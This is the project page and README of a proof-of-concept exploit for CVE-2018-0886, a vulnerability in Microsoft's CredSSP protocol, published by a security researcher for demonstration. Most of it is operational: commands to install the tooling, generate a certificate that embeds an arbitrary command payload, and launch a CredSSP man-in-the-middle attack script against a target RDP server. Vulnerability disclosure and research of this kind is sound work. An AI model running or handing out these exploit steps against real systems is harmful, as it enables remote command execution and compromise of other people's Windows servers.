CVE-2018-0886 PoC — Microsoft Credential Security Support Provider protocol 安全漏洞

Description

A code demonstrating CVE-2018-0886

Readme

# credssp

This is a poc code for exploiting CVE-2018-0886. It should be used for educational purposes only.
It relies on a fork of the rdpy project(https://github.com/preempt/rdpy), allowing also credssp relay. 


Written by Eyal Karni, Preempt 
ekarni@preempt.com 

# Build

## Instructions (Linux)
If you are using Ubuntu 14 , check the install file.. 
It was tested on Ubuntu 16.04. 

```
$ git clone https://github.com/preempt/rdpy.git rdpy
$ git clone https://github.com/preempt/credssp.git 
$ cd credssp/install
$ sh install.sh
$ cd ../../rdpy
$ sudo python setup.py install
```
* It assumes a pretty clean inital state. Best to uninstall first relevant components such as cryptography, pyopenssl maybe (pip uninstall cryptography).  
* A different version of openssl needed to be installed for this to run successfully.  The install script does that. 
* Please follow the instructions in the described order. 

# Running the exploit 


Export a certificate suitable for Server Authentication from any domain.
(It is used for RDP https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn781533(v=ws.11)) 

To generate a certificate that exploits the vulnerability(contains the payload),use: 

```
$ python credssp/bin/gen_cmd.py -c ExportedCert -o exploitc.pem -k exploitk.pem CMD 
```
 (ExportedCert is the  exported certificate from step 1. 
 exploitc.pem ,exploitk.pem are the generated certificate and private key respectively)

To run the attack script: 

```
$ python /usr/local/bin/rdpy-rdpcredsspmitm.py -k exploitk.pem -c exploitc.pem TargetServer
```

More details are in the usage section of the scripts(--help). 

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